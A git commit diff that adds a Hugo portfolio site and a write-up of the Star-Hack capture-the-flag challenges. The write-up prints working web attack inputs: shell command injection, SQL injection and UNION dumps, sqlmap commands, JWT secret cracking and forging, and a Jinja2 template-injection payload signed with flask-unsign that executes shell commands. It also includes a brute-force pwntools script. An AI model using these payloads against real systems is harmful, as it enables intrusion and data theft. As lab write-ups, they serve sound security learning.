Compare commits

..

2 Commits

Author SHA1 Message Date
b243dd38be
feat: add writeup for StarHack 2025-10-18 16:40:17 +02:00
252a0310fd
feat: add readme, makefile and more 2025-10-18 16:40:04 +02:00
11 changed files with 385 additions and 0 deletions

2
.gitignore vendored
View File

@ -1 +1,3 @@
/public /public
/resources
/.hugo_build.lock

21
LICENSE Normal file
View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Nemo D'ACREMONT
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

28
Makefile Normal file
View File

@ -0,0 +1,28 @@
docker=docker
# docker=podman # if you prefer using podman
hugo=$(docker) run -u $(shell id -u):$(shell id -g) --rm -p 127.0.0.1:1313:1313 -v .:/src hugomods/hugo
# hugo=hugo # if you have hugo installed
PHONY += all
all: build
PHONY += theme
theme: themes/nostyleplease/README.md
themes/nostyleplease/README.md:
git submodule update
PHONY += build
build: theme
$(hugo) build
PHONY += dev
dev: theme
$(hugo) server
PHONY += clean
clean:
rm -rf public
.PHONY: $(PHONY)

View File

@ -0,0 +1,21 @@
# My portfolio
Welcome to my portfolio source, it uses [hugo](https://gohugo.io/) to generate
the site, and it uses the [nostyleplease](https://github.com/hanwenguo/hugo-theme-nostyleplease) theme.
## Build
Build the site (it uses docker by default to use hugo, if you have hugo
installed, you can uncomment the hugo=hugo line in the Makefile) :
```sh
make build
```
## Dev mode
You can run hugo in dev mode using the following command :
```sh
make dev
```

View File

@ -0,0 +1,313 @@
+++
date = '2025-10-18T14:51:32+02:00'
draft = false
title = 'Star-Hack'
toc = true
+++
I participated in the Star-Hack, a CTF in France, but let's not waste more time.
Difficulty : easy
Flag format : `flag{[a-zA-Z0-9_]+}`
## Web
The challenges difficulties varied from easy to medium, and could be quite fun.
### Crawler
The flag were split in 5 parts, 4 were to be found, and the fifth one was
obtainable by providing the concatenation of the first 4 to an API.
The first four parts were obtainable by looking at the following files :
* /robots.txt
* /index.html
* /static/main.css
* Another place like cookie or console, I don't remember
Which leaves us with the following concatenation : `flag{Crawl_Master_20`, the
API gives us the final part "25}".
Flag: `flag{Crawl_Master_2025}`
### Commands
This challenge offers us to ping a target by specifying its IP, the character
';' is prohibited by a filter.
As expected, it uses the ping utility, and a simple shell injection
`1.1.1.1 && id` enables us to run commands.
Finally, `1.1.1.1 && find . -name '*flag*'` provides the file name and
`1.1.1.1 && cat ./flag.txt` provides the flag
Flag : `flag{Command_Injection}`
### Events
This challenge offers to use an input field to enter a month and retrieve events
that happened during this one. This input won't allow us to enter more
than two integers, however it is then used in the url query, and no backend
check is performed.
By crafting a basic sql injection, we can retrieve all events with the following
URL : `http://[REDACTED]/?MONTH=02' or '-01'='`. (it filters by date, and
happens '-01' at the end of the month to obtain dates like '2025-02-01')
The number of columns retrieved can be found by using a simple union select
injection : `http://[REDACTED]/?MONTH=02' union select "a", "b", "c" where '-01'='`, it has 3
columns.
This enables us to get the list of tables, by trying different payloads, we
guess it's sqlite :
```sh
http://[REDACTED]/?MONTH=02' union select "a", tbl_name, "c" from sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' AND '-01'='
```
There are 3 tables : 'events', 'flag' and 'users'.
We finally get the flag with the following request :
`http://[REDACTED]/?MONTH=02' union select "a", * from flag WHERE '-01'='`
Flag: I didn't keep it :/
### Store
It was a website with a search input, by trying the exact same basic SQLi as in
the previous challenge, we find the query is vulnerable.
As I couldn't bear a second SQLi, and that sqlmap was obviously going to dump it
easily, I went for it :
```sh
sqlmap -u 'http://[REDACTED]/search/?q=1' -p q --technique "BEUT" --tables
```
This extract the table name 'store_secret', which is dumped with :
```sh
sqlmap -u 'http://13.38.0.91:8087/search/?q=1' -p q --dump store_secret
```
flag: I didn't keep this one neither
### Broken control
We are offered to log in to the website with 'guest:guestpass'. Once logged in,
we get the following JWT to store the session :
```sh
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q
```
Using `jwt_tool.py`, we can get its body :
`{"username": "guest", "id_admin": False}`. After testing differents common
vulnerability like setting the 'alg' header to 'none', I ended up trying to
bruteforce it. Turns out that it worked with the `rockyou.txt` wordlist :
```sh
jwt_tool.py -C -d rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q
```
The secret is 'letmein', the JWT can then be tampered to gain admin privileged with the following command :
```sh
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kf2kBhjtTKfkNGfYVrchv4Q -T -S hs256 -p "letmein"
```
This leads to the flag I didn't keep.
### Obfuscate
This challenge was interesting, it starts with a very basic SQLi authentication
bypass, we are then offered to change our username.
It's possible to use the username to perform XSS, however it is a dead end. The
real goal here is to exploit a SSTI. By using the [payloadAllTheThings' decision tree](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#inject-template-syntax),
it is possible to find that the backend uses jinja2 templates.
However, many inputs are blocked, like those including `__imports__` or `os`.
I tried some bypasses, however it was not convincing, and
`__builtins__.__dict__` was not accessible for some reason. But by
looking around, I found out that we could retrieve the global variables by using
an SSTI, more precisely the variable `SECRET_KEY="supersecretforctf"`.
The username is stored in a flask token, the filter preventing executing shell
commands in SSTI is only used when trying to change the username, not when
it using the username with a signed flask token.
By forging a new token with [Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign)
as following, it is possible to run shell commands on the server !
```sh
flask-unsign --sign --cookie "{'username': '{{ self.__init__.__globals__.__builtins__.__import__(\'os\').popen(\'find . -name *flag*\').read() }}'}" --secret 'supersecretforctf'
```
The flag location is `/flag123aatt.txt`, by using the same process, we print it using cat.
Flag : `flag{sql_injection_then_ssti_priv_escalation}`
### IDOR
### Dev_dev
## Steganography
I think steganography is a double-edged sword, either the challenges are
interesting and fun, either it is yet another steghide bruteforce challenge.
Unfortunately, this CTF is more on the second side.
### Dive deeper
Image :
![parrot.jpg](/writeups/StarHack/stegano/parrot.jpg)
Well the following command unfortunatly retrieves the flag :
```sh
strings parrot.jpg | grep flag{
```
Flag : `flag{binwalk_unpacked_me}`
### Investigate
Image :
![forest.jpg](/writeups/StarHack/stegano/forest.jpg)
Same for this one, but with exiftool
```sh
exiftool forest.jpg | grep flag{
```
Flag : `flag{metadata_magic}`
### Explore the image 1
Image :
![tiger.jpg](/writeups/StarHack/stegano/tiger.jpg)
After messing around with this one, the only thing left is
[steghide](https://steghide.sourceforge.net/), and there is a password...
At least, [stegseek](https://github.com/RickdeJager/stegseek) finds it quickly
with the following command :
```sh
stegseek tiger.jpg rockyou.txt
```
Flag : `flag{hidden_in_plain_sight}`
### Explore the image 2
Image :
![sunset.jpg](/writeups/StarHack/stegano/sunset.jpg)
Because once isn't enough, here's exactly the same challenge :
```sh
stegseek sunset.jpg rockyou.txt
```
Flag : `flag{stegseek_cracked_it}`
## Binary
The category name is surprising, it's kind of a mix of reverse and pwn.
### Native guardian
Source : [app-release.apk](/writeups/StarHack/binary/app-release.apk)
This challenge ses a shared library in native code, which contains the flag in
cleartext. It is possible to extract the APK with [apktool](https://apktool.org/),
however, a simple strings and grep on the apk will extract the flag :
```sh
strings app-release.apk | grep -B 1 flag
```
It returns
```sh
3v3rs3d}
flag{jn1_4rm64_rInvalid key
```
Flag : `flag{jn1_4rm64_r3v3rs3d}`
### Simple
Source : [simple](/writeups/StarHack/binary/simple)
This is a binary that needs to be reversed, I'm not sure to understand
everything it does, but it doesn't matter to find the flag.
The flag isn't in the binary but in a file on a remote server. In a tcp
connection, it's possible to send a string and test it against the flag.
The test will iterate through the strings and stop at the end of input or at the
end of the flag. When sending a wrong input, the index of the first match is
returned. This way, by sending `'X' * 23`, we get `22`, which means no 'X' is in
the flag, and the flag is 22 chars long.
Knowing that, I wrote the following script to find the first occurence of all
chars :
```py
#!/bin/sh
from pwn import *
chars = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-")
context.log_level = 'error' # Suppress noise
host = "[REDACTED]"
port = 1027
for c in chars:
conn = remote(host, port)
conn.recv()
conn.sendline((c * 22).encode())
res = conn.recv()
if "22" not in res.decode(): # If char is in the flag
print(c, res)
conn.close()
```
This leaves us with the following :
```sh
a b'Result length: 2\n'
e b'Result length: 20\n'
f b'Result length: 0\n'
g b'Result length: 3\n'
i b'Result length: 8\n'
l b'Result length: 1\n'
m b'Result length: 17\n'
n b'Result length: 9\n'
p b'Result length: 18\n'
r b'Result length: 7\n'
s b'Result length: 13\n'
x b'Result length: 5\n'
0 b'Result length: 6\n'
_ b'Result length: 11\n'
```
Knowing the flag format, we have that : `flag{x0 in _ s mp e}`
Finally, we guess the flag being `flag{x0ring_is_simple}`

Binary file not shown.

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 97 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 179 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB